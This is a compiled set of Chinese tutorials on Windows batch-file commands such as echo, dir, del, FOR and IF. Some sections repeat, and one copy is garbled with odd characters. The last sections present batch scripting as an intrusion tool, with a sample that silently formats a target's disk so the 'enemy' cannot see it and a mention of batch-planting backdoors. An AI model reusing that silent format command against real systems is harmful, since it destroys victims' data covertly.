一：批处理文件 批处理文件是扩展名为·bat或·cmd的文本文件，包含一条或多条命令，由DOS或Windows系统内嵌的命令解释器来解释运行。 批处理的本质，是一堆DOS命令按一定顺序排列而形成的集合。 二：常用命令： 1.echo 和@： @ #关闭单行回显 echo off #从下一行开始关闭回显 @echo off #从本行开始关闭回显，一般批处理第一行都是这个 echo on #从下一行开始打开回显 echo #显示当前是echo off 状态还是echo on 状态 echo. #输出一个”回车换行”，空白行 #(同echo, echo; echo+ echo[ echo] echo/ echo") 2.errorlevel echo %errorlevel% 每个命令运行结束，可以用这个命令行格式查看返回码 默认值为0，一般命令执行出错会设errorlevel 为1 目录操作类命令： 3.dir 显示磁盘目录命令 dir #显示当前目录中的文件和子目录 dir /a #显示当前目录中的文件和子目录，包括隐藏文件和系统文件
dir c: /a:d #显示C 盘当前目录中的目录 dir c: /a:-d #显示C 盘根目录中的文件 dir c:" /b/p #/b只显示文件名，/p分页显示 dir c:" /b/p #/w不显示详细信息 dir *.exe /s #显示当前目录和子目录里所有的.exe文件 4.以树形显示当前路径文件夹结构 tree /f #显示每个文件夹中文件的名字。 5.md 建立子目录 md d:"a"b"c #如果d:"a 不存在，将会自动创建中级目录 #如果命令扩展名被停用，则需要键入mkdir "a"b"c 6.cd 改变当前目录（进入） cd \ #进入根目录 cd #显示当前目录 cd /d d:\sdk #可以同时更改盘符和目录 cd .. #返回上一级目录 7.rd 删除子目录命令 rd abc #删除当前目录里的abc 子目录，要求为空目录rd /s/q d:\temp #删除d:"temp 文件夹及其子文件夹和文件/q安静模式 磁盘操作类命令： 8.format 磁盘格式化命令 9.chkdsk 检查磁盘当前状态命令
目录 第一章 批处理基础 第一节 常用批处理内部命令简介 1、REM 和 :: 2、ECHO 和 @ 3、PAUSE 4、ERRORLEVEL 5、TITLE 6、COLOR 7、mode 配置系统设备 8、GOTO 和 : 9、FIND 10、START 11、assoc 和 ftype 12、pushd 和 popd 13、CALL 14、shift 15、IF 16、setlocal 与 变量延迟(ENABLEDELAYEDEXPANSION / DISABLEDELAYEDEXPANSION 启动或停用延缓环境变量扩展名。) 17、ATTRIB显示或更改文件属性 第二节 常用特殊符号
1、@命令行回显屏蔽符 2、%批处理变量引导符 3、> 重定向符 4、>>重定向符 5、<、>、<& 重定向符 6、|命令管道符 7、^转义字符 8、组合命令 9、& 组合命令 10、||组合命令 11、\"\"字符串界定符 12、, 逗号 13、; 分号 14、() 括号 15、! 感叹号 第二章 FOR命令详解 一、基本格式 二、参数 /d仅为目录 三、参数 /R递归（文件名） 四、参数 /L迭代数值范围 五、参数 /F迭代及文件解析 第三章 FOR命令中的变量
一、 ~I- 删除任何引号(\")，扩展 %I 二、 %~fI- 将 %I 扩展到一个完全合格的路径名 三、 %~dI- 仅将 %I 扩展到一个驱动器号 四、 %~pI- 仅将 %I 扩展到一个路径 五、 %~nI- 仅将 %I 扩展到一个文件名 六、 %~xI- 仅将 %I 扩展到一个文件扩展名 七、 %~sI- 扩展的路径只含有短名 八、 %~aI- 将 %I 扩展到文件的文件属性 九、 %~tI- 将 %I 扩展到文件的日期/时间 十、 %~zI- 将 %I 扩展到文件的大小 十一、 %~$PATH:I 第四章 批处理中的变量 一、系统变量 二、自定义变量 第五章 set命令详解 一、用set命令设置自定义变量 二、用set命令进行简单计算 三、用set命令进行字符串处理 1、字符串替换 2、字符串截取 第六章 if命令讲解 第一种用法：IF [NOT] ERRORLEVEL number command
DOS内部命令和批处理命令列表 Wikipedia，自由的百科全书 MS-DOS 7.1 所有内部命令与批处理命令中文帮助集合 ——本页所有内容均由熊朝伟独自汉化。 命令：CALL 功能：在批处理文件中调用批处理文件. CALL [驱动器:][路径]文件名 [批命令参数] 批命令参数指定批处理文件所需的命令行参数. 命令：CD/CHDIR 功能：显示或改变当前目录. CHDIR [驱动器:][路径] CHDIR[..] CD [驱动器:][路径] CD[..] .. 表示当前目录改变成父目录. 键入 CD [驱动器:], 可显示指定驱动器的当前目录. 键入不带参数的 CD 可显示当前驱动器和当前目录. 命令：CLS 功能：清除屏幕。 CLS 命令：COPY 功能：文件拷贝. COPY [/A | /B] source [/A | /B] [+ source [/A | /B] [+ ...]] [destination
[/A | /B]] [/V] [/Y | /-Y] source 指定被拷贝的文件. /A 表示 ASCII 正文文件. /B 表示二进制文件. destination 指定新文件的目录和文件名. /V 校验新文件是否正确. /Y 在重写原有的目标文件之前, 不让你确认. /-Y 在重写原有的目标文件之前, 让你确认. 开关项 /Y 可由环境变量 COPYCMD 预设. -Y 可以更改预设值.要合并多个文件时, 可指定单个目标文件, 但指定多个 源文件(使用通配符或文件1+文件2+文件3 格式). 命令：DATE 功能：显示或设置日期。 DATE [日期] 显示当前日期设置和输入新日期的提示，请键入 不带参数的 DATE。要保留现有日期，请按 ENTER。 命令：DEL/ERASE 功能：删除文件. DEL [驱动器:][路径]文件名 [/P] ERASE [驱动器:][路径]文件名 [/P] [驱动器:][路径]文件名指定被删除的文件, 用通配符指定多个文件. /P 删除每个文件之前显示确认信息. 命令：DIR 功能：显示目录中的文件和子目录列表。
批处理文件是将一系列命令按一定的顺序集合为一个可执行的文本文件，其扩展名为BAT。第一部分：批处理内部命令 1、REM REM 是个注释命令一般是用来给程序加上注解的，该命令后的内容在程序执行的时候将不会被显示和执行。例： REM 你现在看到的就是注解，这一句将不会被执行。在以后的例子中解释的内容都REM 会放在REM后面。请大家注意。 2、ECHO ECHO 是一个回显命令主要参数有OFF和ON,一般用ECHO message来显示一个特定的消息。例： Echo off Rem 以上代表关闭回显即不显示所执行的命令 Echo 这个就是消息。 Rem 以上代表显示"这就是消息"这列字符 执行结果： C:\>ECHO.BAT 这个就是消息。 3、GOTO GOTO 即为跳转的意思。在批处理中允许以"：XXX"来构建一个标号然后用GOTO ：标号直接来执行标号后的命令。例 :LABEL REM 上面就是名为LABEL的标号。 DIR C:\ DIR D:\ GOTO LABEL REM 以上程序跳转标号LABEL处继续执行。 4、CALL CALL 命令可以在批处理执行过程中调用另一个批处理，当另一个批处理执行完后再继续
执行原来的批处理。例： 批处理2.BAT内容如下： ECHO 这就是2的内容 批处理1.BAT内容如下： ECHO 这是1的内容 CALL 2.BAT ECHO 1和2的内容全部显示完成 执行结果如下： C:\>1.BAT 这是1的内容 这就是2的内容 1和2的内容全部显示完成 5、PAUSE PAUSE 停止系统命令的执行并显示下面的内容。例： C:\> PAUSE 请按任意键继续. . . 6、IF IF 条件判断语句，语法格式如下： IF [NOT] ERRORLEVEL number command IF [NOT] string1==string2 command IF [NOT] EXIST filename command 说明： [NOT] 将返回的结果取反值即"如果没有"的意思。 ERRORLEVEL 是命令执行完成后返回的退出值 Number 退出值的数字取值范围0~255。判断时值的排列顺序应该又大到小。返回的值大于或等于指定的值时条件成立。 string1==string2 string1和string2都为字符的数据，英文字符的大小写将看做不同，这个条件中的等于号必须是2个（绝对相等），条件想等后即执行后面的command EXIST filename 为文件或目录存在的意思。 IF ERRORLEVEL这条语句必须放在某一个命令后面。执行命令后由IF ERRORLEVEL来
分类：2010-06-11 13:0416793人阅读(0) 批处理for命令详解 FOR这条命令基本上都被用来处理文本,但还有其他一些好用的功能! 看看他的基本格式(这里我引用的是批处理中的格式,直接在命令行只需要一个%号) FOR 参数%%变量名IN (相关文件或命令) DO 执行的命令 参数:FOR有4个参数/d /l /r /f 他们的作用我在下面用例子解释 %%变量名:这个变量名可以是小写a-z或者大写A-Z,他们区分大小写,FOR会把每个读取到的值给他; IN:命令的格式,照写就是了; (相关文件或命令) :FOR要把什么东西读取然后赋值给变量,看下面的例子 do:命令的格式,照写就是了! 执行的命令:对每个变量的值要执行什么操作就写在这. 可以在CMD输入for /看系统提供的帮助!对照一下 FOR %%variable IN (set) DO command [command-parameters] %%variable 指定一个单一字母可替换的参数。 (set) 指定一个或一组文件。可以使用通配符。 command 指定对每个文件执行的命令。 command-parameters 为特定命令指定参数或命令行开关。 现在开始讲每个参数的意思 /d 仅为目录 如果Set (也就是我上面写的"相关文件或命令") 包含通配符（* 和），将对与Set 相匹配的每个目 录（而不是指定目录中的文件组）执行指定的Command。 系统帮助的格式:FOR /D %%variable IN (set) DO command 他主要用于目录搜索,不会搜索文件,看这样的例子 @echo off for /d %%i in (*) do @echo %%i pause 把他保存放在C盘根目录执行,就会把C盘目录下的全部目录名字打印出来,而文件名字一个也不显示!
BAT（批处理）文件编写详细手册 一、批处理文件简介 首先，批处理文件是一个文本文件，这个文件的每一行都是一条DOS命令（大部分时候就好象我们在DOS提示符下执行的命令行一样），你可以使用DOS下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。 其次，批处理文件是一种简单的程序，可以通过条件语句(if)和流程控制语句(goto)来控制命令运行的流程，在批处理中也可以使用循环语句 (for)来循环执行一条命令。当然，批处理文件的编程能力与C语言等编程语句比起来是十分有限的，也是十分不规范的。批处理的程序语句就是一条条的 DOS命令（包括内部命令和外部命令），而批处理的能力主要取决于你所使用的命令。 第三，每个编写好的批处理文件都相当于一个DOS的外部命令，你可以把它所在的目录放到你的DOS搜索路径(path)中来使得它可以在任意位置运行。一个良好的习惯是在硬盘上建立一个bat或者batch 目录（例如C:/BATCH），然后将所有你编写的批处理文件放到该目录中，这样只要在path中设置上c:/batch，你就可以在任意位置运行所有你编写的批处理程序。 简单的说，批处理的作用就是自动的连续执行多条命令。 二、批处理中常用命令： 1.echo命令：表示显示此命令后的字符。字符不需要使用引号。其中，%和^两个字 符不能显示。 2.Echo off命令：表示在此语句后所有运行的命令都不显示命令行本身。即关闭echo 回显功能。可以使用echo on打开。 3.@命令：它是加在每个命令行的最前面，表示运行时不显示这一行的命令行（只能 影响当前行）。 4.call命令：调用另一个批处理文件（如果不用call而直接调用别的批处理文件， 那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令）。 5.pause命令：运行此句会暂停批处理的执行并在屏幕上显示Press any key to continue...的提示，等待用户按任意键后继续。如果不想显示以上英文提示信息， 可以这样写：pause>null 6.rem命令：表示此命令后的字符为解释行（注释），不执行，只是给自己今后参考 用的（相当于程序中的注释）。 7.::命令：与rem命令等效。 例1：用edit编辑a.bat文件，输入下列内容后存盘为c:/a.bat，执行该批处理 文件后可实现：将根目录中所有文件写入 a.txt中，启动UCDOS，进入WPS等功能。 批处理文件的内容为: 命令注释： @echo off //不显示后续命令行及当前命令行
注：如果对某一命令还不是很熟悉，可以在命令行窗口下输入：命令名/?的方式来获得帮助。 1 echo 和 @回显控制命令 @ #关闭单行回显 echo off #从下一行开始关闭回显 @echo off #从本行开始关闭回显。一般批处理第一行都是这个 echo on #从下一行开始打开回显 echo #显示当前是 echo off 状态还是 echo on 状态echo. #输出一个"回车换行"，一般就是指空白行 echo hello world #输出hello world "关闭回显"是指运行批处理文件时，不显示文件里的每条命令，只显示运行结果批处理开始和结束时，系统都会自动打开回显 2 errorlevel程序返回码 echo %errorlevel%每个命令运行结束，可以用这个命令行格式查看返回码用于判断刚才的命令是否执行成功默认值为0，一般命令执行出错会设 errorlevel 为1 3 dir显示目录中的文件和子目录列表 dir #显示当前目录中的文件和子目录 dir /a #显示当前目录中的文件和子目录，包括隐藏文件和系统文件 dir c: /a:d #显示 C 盘当前目录中的目录 dir c:\ /a:-d #显示 C 盘根目录中的文件 dir d:\mp3 /b/p #逐屏显示 d:\mp3 目录里的文件，只显示文件名，不显示时间和大小 dir *.exe /s显示当前目录和子目录里所有的.exe文件其中 * 是通配符，代表所有的文件名，还一个通配符 ? 代表一个任意字母或汉字如 c*.* 代表以 c 开头的所有文件?.exe 代表所有文件名是一个字母的.exe文件如果指定的目录或文件不存在，将返回 errorlevel 为1;每个文件夹的 dir 输出都会有2个子目录 . 和 ... 代表当前目录.. 代表当前目录的上级目录 dir . #显示当前目录中的文件和子目录 dir .. #显示当前目录的上级目录中的文件和子目录 其它参数可参考 dir /? 4 cd更改当前目录 cd mp3 #进入当前目录中的mp3 目录 cd .. #进入当前目录中的上级目录 cd\ #进入根目录 cd #显示当前目录 cd /d d:\mp3 #可以同时更改盘符和目录 cd "Documents and Settings"\All users文件名带空格，路径前需要加上引号！！如果更改到的目录不存在，则出错返回 errorlevel=1 5 md创建目录 md abc #在当前目录里建立子目录 abc md d:\a\b\c #如果 d:\a 不存在，将会自动创建 6 rd删除目录 rd abc #删除当前目录里的 abc 子目录，要求为空目录 rd /s/q d:\temp #删除 d:\temp 文件夹及其子文件夹和文件，不需要按 Y 确认 7 del删除文件 del d:\test.txt #删除指定文件，不能是隐藏、系统、只读文件 del *.*删除当前目录里的所有文件，不包括隐藏、系统、只读文件，要求按 Y 确认 del /q/a/f d:\temp\*.*删除 d:\temp 文件夹里面的所有文件，包括隐藏、只读、系统文件，不包括子目录 del /q/a/f/s d:\temp\*.*删除 d:\temp 及子文件夹里面的所有文件，包括隐藏、只读、系统文件，不包括子目录 8 ren文件重命名 ren 1.txt 2.bak #把 1.txt 更名为 2.bak ren *.txt *.ini #把当前目录里所有.txt文件改成.ini文件 ren d:\temp tmp #支持对文件夹的重命名 9 cls清屏 10 type显示文件内容 type c:\boot.ini #显示指定文件的内容，程序文件一般会显示乱码 type *.txt #显示当前目录里所有.txt文件的内容 11 copy拷贝文件 XCOPY复制组文件 COPY复制文件 拷贝目录和文件——xcopy 在拷贝单个文件时，可以使用copy命令完成，但当我们要成批拷贝文件，甚至连同子目录一起拷贝时，就要用到xcopy。 copy c:\test.txt d:\复制 c:\test.txt 文件到 d:\ copy c:\test.txt d:\test.bak复制 c:\test.txt 文件到 d:\ ，并重命名为 test.bak copy c:\*.*复制 c:\ 所有文件到当前目录，不包括隐藏文件和系统文件不指定目标路径，则默认目标路径为当前目录 copy con test.txt从屏幕上等待输入，按 Ctrl+Z 结束输入，输入内容存为test.txt文件con代表屏幕，prn 代表打印机，nul代表空设备 copy 1.txt + 2.txt 3.txt合并 1.txt 和 2.txt 的内容，保存为 3.txt 文件如果不指定 3.txt ，则保存到 1.txt 1
批处理命令详解
————————————————————————————————作者：————————————————————————————————日期:
批处理命令详解 1.Echo 命令 打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,eｃhｏ命令将显示当前回显设置。 语法?echｏ [｛on|ofｆ}］ [mｅｓsａｇe] Saｍple:eｃｈo off ／ echo ｈｅlｌo woｒｌd?在实际应用中我们会把这条命令和重定向符号(也称为管道符号，一般用＞ >＞ ^）结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。??2.＠命令 表示不显示@后面的命令,在入侵过程中（例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。 Ｓampｌe：@echo off?@eｃｈｏ Now initｉaliｚing the pｒogram,pleａse ｗaiｔ a mｉｎｉte... @ｆoｒmat X: /ｑ/ｕ/aｕｔoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoseｔ这个参数给我们,效果和／y是一样的。) ?３.Goto 命令?指定跳转到标签,找到标签后，程序将处理从下一行开始的命令。?语法：goto laｂel （label是参数,指定所要转向的批处理程序中的行。）?Sample：?if ｛％1｝=＝{} goto nｏparms if ｛%２}==｛} goｔｏｎoｐarms（如果这里的iｆ、%1、%2你不明白的话，先跳过去,后面会有详细的解释。） @Rｅm cｈeck paramｅtｅｒs ｉf nulｌ show ｕsａge?:ｎoparms?eｃho Uｓage: moniｔor.bａt Ser ｖerIP ＰortNuｍｂer gotｏｅnd?标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个：用来表示这个字母是标签，gｏto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。 ?4．Rem 命令 注释命令，在C语言中相当与／＊－-------*/,它并不会被执行，只是起一个注释的作用,便于别人阅读和你自己日后修改。 Rem Ｍｅssage Samplｅ:@Rｅm Ｈere iｓthe desｃｒｉｐtｉｏn. 5.Pause 命令?运行 Paｕsｅ命令时,将显示下面的消息: ?Presｓ any ｋey to conｔｉnｕe . . .
如果没有一定的相关知识恐怕不容易看懂和理解批处理文件，也就更谈不上自己动手编写了 批处理文件是无格式的文本文件，它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称，或者双击该批处理文件，系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件（也被称为批处理程序或脚本），可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用，例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。 一.简单批处理内部命令简介 1.Echo 命令 打开回显或关闭请求回显功能，或显示消息。如果没有任何参数，echo 命令将显示当前回显设置。 语法 echo [{ on|off }] [message] Sample：@echo off / echo hello world 在实际应用中我们会把这条命令和重定向符号（也称为管道符号，一般用> >> ^）结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。 2.@ 命令 表示不显示@后面的命令，在入侵过程中（例如使用批处理来格式化敌人的硬盘）自然不能让对方看到你使用的命令啦。 Sample：@echo off @echo Now initializing the program,please wait a minite... @format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的，可喜的是微软留了个autoset这个参数给我们，效果和/y是一样的。) 3.Goto 命令 指定跳转到标签，找到标签后，程序将处理从下一行开始的命令。 语法：goto label （label是参数，指定所要转向的批处理程序中的行。） Sample： if { %1 }=={ } goto noparms if { %2 }=={ } goto noparms（如果这里的if、%1、%2你不明白的话，先跳过去，后面会有详细的解释。）@Rem check parameters if null show usage :noparms echo Usage: monitor.bat ServerIP PortNumber goto end 标签的名字可以随便起，但是最好是有意义的字母啦，字母前加个：用来表示这个字母是标签，goto命令就是根据这个：来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。 4.Rem 命令 注释命令，在C语言中相当与/*--------*/,它并不会被执行，只是起一个注释的作用，便于别人阅读和你自己日后修改。 Rem Message Sample：@Rem Here is the description.